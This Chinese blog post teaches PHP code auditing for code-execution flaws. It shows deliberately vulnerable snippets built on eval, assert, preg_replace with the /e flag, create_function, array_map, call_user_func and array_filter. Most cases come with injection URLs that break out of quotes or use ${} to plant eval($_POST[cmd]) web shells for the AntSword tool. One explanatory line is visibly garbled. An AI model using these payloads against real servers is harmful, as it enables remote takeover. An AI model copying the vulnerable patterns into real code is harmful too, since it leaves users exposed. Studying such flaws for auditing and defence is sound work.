php代码审计基础---代码执行

一、介绍

当应用再调用一些字符串转换为代码的函数时,如果用户可以控制字符串就可以输入代码
#!理论上所有回调函数都可以利用。

二、分类

1.1-eval()

eval—php.net
eval是一个语言构造器不可以作为可变函数调用,必须要一定格式,容易被拦截。括号内需要单引号(括号内为字符串以分号结尾)。

1.1-1—构造闭合

案例1:=============================================

<?php
 $data=$_GET['data']; 
eval("\$ret=$data;"); 
echo $ret ;
?>

url:test.php?data=eval($_POST[cmd])

案例2:=============================================

<?Php
 $data=$_GET['data'];
 eval("\$ret=strtolower('$data');");
 echo $ret;
 ?> 

url:test.php?data=');eval($_POST[cmd]);('
url:test.php?data=');eval($_GET[cmd]);//

1.1-2—${}

不能被单引号包括,双引号可以(在双引号下$符号可以解析)
案例1:=============================================

<?Php
 $data=$_GET['data'];
 eval("\$ret=strtolower('$data');");
 echo $ret
 ?> 

方法1:test.php?data=');${eval($_POST[cmd])};('

案例2:=============================================

<?Php
 $data=$_GET['data'];
 eval("\$ret=strtolower(\"$data\");");
 echo $ret;
 ?> 

url:test.php?data=${eval($_POST[1])}

案例3:=============================================

<?Php
 $data="array('a'=>'aaa',
 'b'=>'222222',
 'c'=>'',111=>$_GET[cmd],222=>'22' )";
 eval("\$arr=$data;");
 ?>

url:test.php?cmd=1, eval($_GET[1])

url:test.php?cmd=${ eval($_GET[1])}

1.2-assert()

assert—php.net
PHP8不允许可变函数调用。assert()内只支持函数,常与eval()连用。
案例1:=============================================
直接使用函数

<?php assert($_GET[cmd]); ?>

案例2:=============================================
不使用函数,与eval()连用

<?php assert($_GET[cmd]); ?>

url:test.php?cmd=eval($_GET[1])&1=echo 11111111111111111;

案例3:=============================================
可变函数调用

<?Php
 $str=$_GET[cmd];
 $a='ass'; $b='ert';
 $c=$a.$b;
 $c($str)
 ?>

1.3-正则preg_replace()

preg_replace—php.net
preg_replace(pattern【/匹配的内容/】,replacement,subject)
搜索subject中匹配pattern的部分用replacement替换该部分。如果replacement直接或间接可控,pattern参数带e,且满足替换条件,5.4<php<=5.6,将replacement替换成php函数就可以执行
条件:
1、查找的字符在第三个参数可以匹配到。
2、版本号<=5.6。
3、Pattern带e。
4、第二个参数直接或者间接可控。

案例1:=============================================
替换

<?php $a=$_GET['a']; echo preg_replace("/test/e",$a,"just,test!") ?>

url:test.php?a=1111111111111111111

案例2:=============================================
替换并执行

<?php $a=$_GET['a']; echo preg_replace("/test/e",$a,"just,test!") ?>

url:test.php?a=phpinfo()

案例3:=============================================
配合eval()执行echo

<?php $a=$_GET['a']; echo preg_replace("/test/e",$a,"just,test!") ?>

url:test.php?a=eval($_GET[1])&1=echo 11111;

案例4:=============================================

<?Php
 $a=$_GET['a']; preg_replace('/<d>(.*)<\/d>/e','$ret="\\1";',$a);
 echo $ret;
 ?>

url:test.php?a=<d>${phpinfo()}</d>
直接使用 ${}只可以执行函数

url:test.php?a=<d>${eval($_GET[cmd])}
使用${eval($_GET[cmd])}可以执行命令,连接蚁剑。

1.4-Create_function()

create_function—php.net
创建匿名函数,7.2.0废弃。从传递的参数中创建一个匿名函数,返回一个唯一的名称。内部执行以一个eval函数。
Create_function(‘参数’,方法体)
使用//注释默认会把最后的}注释,需要在//之前补全}。
案例1:=============================================
创建匿名函数

<?php 
#正常创建匿名函数。
 $func_name=function(){ 
echo '创建一个匿名函数<br/>';
 };
 $func_name();
  #使用字符串创建,不写方法体。
 $fun=create_function('','echo \'方法体\';');
 $fun(); 
?>

案例2:=============================================
创建匿名函数代码执行

<?php error_reporting(0);
$sort_by=$_GET['sort_by'];
echo $sort_by.'<br/>';
$sort_function='return 1 * strnatcasecmp 	 			 ($a["'.$sort_by.'"],$b["'.$sort_by.'"]);';
echo $sort_function; 	$func=create_function('$a,$b',$sort_function); 	$func(1,$sort_by);
 ?>

方法1:
变量sort_function

<?php return1*strnatcasecmp($a[""],$b[""],eval($_GET[cmd]));}"] ); ?>

插入:"],eval($_GET[cmd]));}// 如下:

<?php return 1 * strnatcasecmp ($a[""],eval($_GET[cmd]));}//"],$b[""],eval($_GET[cmd]));}//"] ); ?>

传入cmd的值:phpinfo();成功执行!

方法2:直接使用${phpinfo()}

案例3:=============================================
1、引用赋值$var = &$othervar;
引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。在函数传递参数是变量前加上&,函数执行的结果会影响原来的变量值。
详细看这里

<?php 
function changeAry(&$arr){ 
for ($i=0;$i<count($arr);++$i){ 
$arr[$i]=$arr[$i]*2; 
} 
} 
$arr=array(1,2,3,4,5); 
changeAry($arr); 
foreach ($arr as $v){ 
echo $v."<br />"; 
} die(); 
?>

案例4:=============================================

<?php $c=$_GET['c'];
 $lambda=create_function('$a,$b',"return 					(strlen(\$a)-strlen(\$b)+"."strlen($c));"); 	$array=array('reall long string here,boy','this','midding 	lenth','larget');
 usort($array,$lambda);
 ?> 

//$lambda创建一个匿名函数, 如下:

function niminghanshu($a,$b{
return	(strlen(\$a)-strlen(\$b)+"."strlen($c));}

方法1:${}
直接上蚁剑

test.php?c=${eval($_POST[1])}

url:test.php?c=${eval($_GET[1])}&1=phpinfo();

方法2:构造闭合
蚁剑

test.php?c='t')%2beval($_POST[1]));}//

url:test.php?c='t')%2beval($_GET[1]));}//&1=phpinfo();

1.5-array_map()

为数组的每个元素应用回调函数
详解
案例1:=============================================

<?php $arr=array(1,2,3,4,5);
 function test($a){ return $a*$a; }
 $res=array_map('test',$arr);
 var_dump($res);
 ?>

array_map(‘test’, a r r ) / / 从 arr) //从 arr)//arr数组中取值,回调test函数执行
返回一个数组,是为 $arr的每个元素应用 test函数之后的数组。
案例2:=============================================

<?Php
 $func=$_GET['func'];
 $cmd=$_GET['cmd'];
 $array[0]=$cmd;
 $new_array=array_map($func,$array);
 echo $new_array;
 ?> 

方法1:
//当 f u n c 为 a s s e r t , func为assert, funcassertcmd=phpinfo();时就可以代码执行。
url:test.php?func=assert&cmd=phpinfo();

蚁剑:test.php?func=assert&cmd=eval($_POST[1])

1.6-call_user_func

详解
7.4可用
调用用户的函数。
把第一个参数作为回调函数调用
案例1:=============================================

<?Php
 call_user_func("assert",$_GET['cmd']);
 ?>

url:php?cmd=phpinfo()

1.7-array_filter()

详解
从数组中筛选出符合条件的值。遍历数组中的每个值,并将每个值传递给回调函数。 如果回调函数返回 true,则将数组中的当前值返回到结果数组中。 返回结果数组的键名(下标)会维持不变,如果参数是索引数组,返回的结果数组键名(下标)可能会不连续。 可以使用 array_values() 函数对数组重新索引。
案例1:=============================================
作用演示

<?Php
 function is0dd($num){
 return $num%2==0;
 }
$arr=array(1,4,9,-7,33); 
$res=array_filter($arr,'is0dd');
var_dump($res);
 ?> 

案例2:=============================================

<?Php
 highlight_file(__FILE__);
 $array[0]=$_GET['a'];
 array_filter($array,'assert');
 ?> 

url:test.php?a=phpinfo()

qq3161944194
这篇文章是在word写好直接复制过来的,图片没办法复制就没放。文章中可能会有一些格式问题或者错误,大家凑合看看,及时联系我更改。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值